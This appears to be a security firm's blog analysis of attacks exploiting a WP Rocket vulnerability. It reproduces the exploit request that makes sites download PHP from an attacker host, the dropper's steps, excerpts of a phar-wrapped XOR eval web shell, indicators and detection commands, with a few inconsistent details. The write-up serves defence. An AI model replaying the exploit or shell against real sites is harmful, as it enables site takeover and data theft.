WP Rocket's CVE-2026-125812 is being exploited in the wild, and there is still very little public information on how the attacks actually work. The advisories say what to update and which folders to check, but not what an attack request looks like or what it leaves behind. We are seeing these attacks across our network, so we took a few real examples apart: the requests, the payload the attacker made the site download, the backdoors it installs and what the attackers did next.
Prefer to watch? The video walks through the exploit request, the dropper, both backdoors and how to check your site.
WP Rocket runs a small script in each visitor's browser that measures the page and reports the results to /wp-admin/admin-ajax.php with action=rocket_beacon. WP Rocket then uses the URLs in that report to optimize the page, which includes downloading some of them and saving them on the server. Before version 3.24.2 it didn't check those URLs strictly enough, so anyone can report a URL pointing to a PHP file on their own server, and WP Rocket will save it on the site as a PHP file. It affects WP Rocket 3.15 through 3.24.1 with LazyLoad for CSS background images or Self-host Google Fonts turned on. It was fixed in 3.24.2 on November 19, 2026, and Patchstack saw the first attack on November 25.
Before the exploit, attackers check whether the site's beacon is active. We saw two styles. The first one asks about the site itself:
POST /wp-admin/admin-ajax.php
action=rocket_check_beacon&rocket_beacon_nonce=aaabbbccc&url=https://<site>&is_mobile=true
rocket_check_beacon is the request WP Rocket's script makes to ask "do you want measurements for this page?". A positive answer tells the attacker the optimization features are on, which is what makes the site exploitable. This one came from 23.234.79.110, seconds before the real attack on the same site.
The second style, from 109.107.178.102, never reveals the attacker's server:
action=rocket_check_beacon&url=https://47x.invalid/1234567&rocket_beacon_nonce=aabbcc&is_mobile=false
.invalid is a top-level domain reserved so that it never resolves, and the 1234567 is a Unix timestamp in milliseconds in the URL showing the exact moment of the probe. The scanner learns how the site handles a foreign URL without touching any real server, and the timestamp lets it match the answer to the request later. This is likely the probe Patchstack describes as "checking whether a site is vulnerable without revealing their own server".
Note that both requests carry a valid rocket_beacon_nonce. That value is printed in every page WP Rocket serves, so the scanner simply loads a page first and copies it. The nonce doesn't protect anything here.
This is the attack request we captured, URL-decoded:
POST /wp-admin/admin-ajax.php
action = rocket_beacon
rocket_beacon_nonce = abc123
url = https://<site>
is_mobile = true
status = success
results = {"preconnect_external_domain": ["https://shoelifer.com/js.php?rel=stylesheet",
"https://shoelifer.com/image.php?rel=stylesheet",
"https://shoelifer.com/cache.php?rel=stylesheet",
"https://shoelifer.com/css.php?rel=stylesheet",
"https://shoelifer.com/css.css.php?rel=stylesheet"]}
The whole exploit is in the results field:
https://fonts.googleapis.com, plus images and CSS backgrounds..php files on the attacker's server, with ?rel=stylesheet added so they look like stylesheets.js.php, image.php, cache.php, css.php and css.css.php. Whichever one the site's configuration accepts and saves, the attacker can use.It is also easy to tell apart from a real beacon. Real beacons are sent by the browser as multipart/form-data, one field per part. The attack is a plain URL-encoded form, and its JSON has a space after every colon and comma (": [", ", "), the default output of Python's json.dumps. A browser's JSON.stringify never adds those spaces. This is a script, not a browser.
Right after the beacon, the same IP went into a loop. Trimmed from our edge logs (UTC):
13:49:59 POST /wp-admin/admin-ajax.php 200
13:50:00 GET /
13:50:00 GET /wp-content/cache/background-css/3/shoelifer.com/js.php
13:50:01 GET /wp-content/cache/background-css/3/shoelifer.com/image.php
13:50:01 GET /wp-content/cache/background-css/3/shoelifer.com/cache.php
13:50:02 GET /wp-content/cache/background-css/3/shoelifer.com/css.css.php
13:50:02 GET /wp-content/cache/background-css/3/shoelifer.com/css.php
13:50:04 GET /?s=zyx123
13:50:04 GET /wp-content/cache/background-css/3/shoelifer.com/js.php
...
13:50:08 GET /?s=zyx123
...
13:50:12 GET /?s=zyx123
This shows how the attack works end to end:
wp-content/cache/background-css/<site id>/<remote host>/<remote file name>. The site ID is 1 outside multisite, the attacker's host becomes a folder, and the file name is kept, .php included.?s=zyx123, ...d3, ...d4, is a counter that makes every request a new URL, so no cached copy is served and the site has to build the page again. "wpra" looks like the tool's own tag.The advisories also classify this bug as path traversal (CWE-22). Since the remote path is copied into the local one, a URL with ../ in it climbs out of the cache folder. That's how other campaigns put files directly into wp-content/, wp-content/uploads/ or wp-content/wp-rocket-config/, under names like wp-media-*.php. In the requests we captured, the attacker didn't use traversal: the default cache path was enough.
We downloaded the attacker's js.php the same way WP Rocket would, from an isolated machine, and saved it as text without running it. It starts with a line of real CSS, so that anything checking the content sees a stylesheet:
body{background:url(https://shoelifer.com/bg.png)}<?php $b=gzuncompress(base64_decode('eNpVks+L00AU...'));
$s=gzuncompress(base64_decode('eNrtWv9u28qx...')); ...
The rest is a dropper: a short script whose only job is to install other files. It carries two compressed payloads, $b and $s, and runs these steps:
Find the WordPress root. Starting from its own folder, it walks up to eight levels looking for wp-load.php and wp-config.php. It needs this because it runs from deep inside the cache folder.
Install the backdoors in six places:
| File | Content |
|---|---|
wp-content/index.php |
Web shell ($b). It overwrites the real file, which is just <?php // Silence is golden. |
wp-content/themes/index.php |
Same web shell |
woo.php (site root) |
Same web shell |
al.php (the folder it runs from) |
Same web shell |
wp-content/wp-rocket-helper.php |
File manager panel ($s) |
info.php (site root) |
<?=phpinfo(); |
Report back: it prints DROPPED|<path>|679 on success, or FAIL|no-docroot / FAIL|wp-content-index.
Delete itself, and a .json file with the same name, so the cache folder looks clean afterwards.
The file names are chosen to blend in. index.php exists in those folders on every WordPress site, woo.php sounds like WooCommerce, and wp-rocket-helper.php sounds like part of the plugin that was just exploited.
The $b payload is 679 bytes. Its first line is all that is visible in a text editor:
<?php include "phar://".(realpath(__FILE__)?:__DIR__."/".basename(__FILE__))."/x";__HALT_COMPILER(); ?>
The file is a valid phar archive (PHP's own archive format) that includes itself. __HALT_COMPILER() tells PHP to stop reading, and everything after it is the archive's binary data, containing one file, x, with the real code. A quick look or a search for common shell code on the file shows nothing, since the code sits inside the archive. Decoded, x is a shell in the style of the well-known Weevely backdoor:
$k = "d12300d8"; // XOR key
$kh = "8170dc3f3827"; // start marker
$kf = "473c85bf911d"; // end marker
$p = "XQRD54LmmrRcZ8CT"; // response prefix
if (preg_match("/$kh(.+)$kf/", file_get_contents("php://input"), $m) == 1) {
// base64 decode, XOR with $k, gzuncompress, eval
// then send the output back the same way, wrapped in $p$kh ... $kf
}
It runs PHP code sent in the body of a POST, between the two markers, XOR-encrypted and compressed, and sends back the output the same way. A GET request, or any POST without the markers, gets an empty page, so the shell looks exactly like the empty index.php it replaced. Only someone with the key can tell it's there.
The $s payload, saved as wp-content/wp-rocket-helper.php, is about 11 KB of PHP: a full control panel that loads WordPress and titles itself "case-task". It's password protected. The password goes in a parameter named wpnonce, so it looks like a normal WordPress security token in logs, and is checked with WordPress's own wp_check_password against a hard-coded hash. Anyone else is quietly redirected to the home page. Once in, it can:
wp-config.php with the database passwordThat last feature matters for cleanup. Removing a new admin user is a common step after a hack, but this attacker never needs one. As long as the panel exists, they can enter the dashboard as the real administrator.
Hours after the first attempt, the same IP, 23.234.79.110, came back and sent shell commands, with the markers, as POSTs to /wp-content/ and /wp-content/themes/. These are folder addresses: the web server answers them with the folder's index.php, which is exactly where the shell was installed. A rule that only watches for the file name index.php misses them. An attacker only sends commands when they think the shell is there, so this is worth knowing: in this case they believed the infection had worked.
The attacker who plants a backdoor is not the only one looking for it. Across our network over the last two days we also saw:
/wp-content/wp-rocket-config/chosen.php 142 times on about 120 sites in under 30 hours. wp-rocket-config/ is one of the folders the path traversal reaches, so this is a scanner checking which sites already carry a backdoor planted by an earlier attack./wp-content/index.php on dozens of sites, and some asked for /al.php.mla-file-downloader.php?mla_download_file=/var/www/html/wp-content/index.php) to read wp-content/index.php instead of running it: a way to see whether the shell is there without triggering it.Once a backdoor is known, any attacker who finds it can use it. A site infected by one campaign quickly becomes a target for the others.
If your site ran WP Rocket below 3.24.2 with LazyLoad for CSS background images or Self-host Google Fonts turned on, check:
wp-content/index.php and wp-content/themes/index.php: each should be a single line, <?php // Silence is golden. If one is 679 bytes and starts with include "phar://, the site is compromised.wp-content/wp-rocket-helper.php, woo.php and info.php in the site root, and any al.php.find wp-content/cache -name "*.php*" should find nothing. WP Rocket only stores CSS, fonts and HTML there.wp-content/, wp-content/uploads/ or wp-content/wp-rocket-config/ you don't recognize, such as wp-media-*.php or chosen.php.rocket_beacon POSTs that are not multipart/form-data, and any POST to /wp-content/, /wp-content/themes/, woo.php or al.php.A quick way to find all copies of this shell at once, wherever it was saved, is to search for its markers: grep -rl "8170dc3f3827" /path/to/wordpress.
If you find any of these files, updating WP Rocket is not enough. The update closes the hole, but the backdoors keep working. Delete them, then change the administrator passwords, the database password and the WordPress salts in wp-config.php (which logs everyone out, including a "Login as admin" session), and review your users and the rest of your plugins and themes for changes.
| Type | Value |
|---|---|
| Payload host | shoelifer.com (js.php, image.php, cache.php, css.php, css.css.php, all with ?rel=stylesheet); likely a compromised site itself |
| Exploit and shell use | 23.234.79.110 |
| Recon probe | 109.107.178.102, url=https://47x.invalid/<ms timestamp> |
| Backdoor hunting | 129.221.248.33, 130.210.39.209, 129.221.193.184, 92.4.88.251, 172.190.1.88, 172.177.2.189, 52.152.220.41, 54.227.18.173 |
| Web shell markers | 8170dc3f3827, 473c85bf911d, XOR key d12300d8, response prefix XQRD54LmmrRcZ8CT |
| File manager | wp-rocket-helper.php, title "case-task", password in wpnonce, hash a574cf55ed6f4e9f0bb85ce2ace7889d |
| Dropped files | wp-content/index.php, wp-content/themes/index.php, woo.php, al.php, info.php, wp-content/wp-rocket-helper.php |
| Tool fingerprints | URL-encoded (not multipart) rocket_beacon with Python-style JSON spacing; page loads with ?s=wpra<hex counter> |
Sites behind NOC are protected by virtual patching rules for this campaign. Still, if you are using WP Rocket, please update asap.